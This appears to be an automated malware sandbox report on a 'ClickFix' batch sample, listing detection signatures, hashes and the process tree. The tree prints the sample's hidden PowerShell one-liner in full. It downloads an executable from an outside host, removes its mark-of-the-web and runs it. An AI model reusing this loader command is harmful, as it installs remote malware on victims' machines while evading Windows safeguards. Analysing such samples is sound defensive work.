Analysis

  • max time kernel
    149s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/08/2026, 08:32

General

  • Target
    clickfix_raw_user_input.bat
  • Size 246B
  • Sample260816-kfb16stejf
  • SHA256 8a14fbaa6e3b99effa7986e23d016cd9a685665455f03af2cf9baa50d82bfed9
  • MD5 SHA1 SHA512 TLSH
Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -w h -ep bypass -c "$h='cdn-1e890c.cloudflareinsight.com';$n='51801a3b.exe';$u='https://'+$h+'/verify';$f=$env:TEMP+'\'+$n;$w=New-Object Net.WebClient;$w.('Down'+'loadFile')($u,$f);ri ($f+':Zone.Identifier') -EA 0;& $f"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2448

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_gnh0wzk0.0kq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gnh0wzk0.0kq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2448-1-0x0000018473440000-0x0000018473450000-memory.dmp

        memory/2448-0-0x0000018473440000-0x0000018473450000-memory.dmp

        memory/2448-2-0x00000184754F0000-0x0000018475512000-memory.dmp

        memory/2448-10-0x0000018473440000-0x0000018473450000-memory.dmp

        memory/2448-13-0x0000018475820000-0x000001847596E000-memory.dmp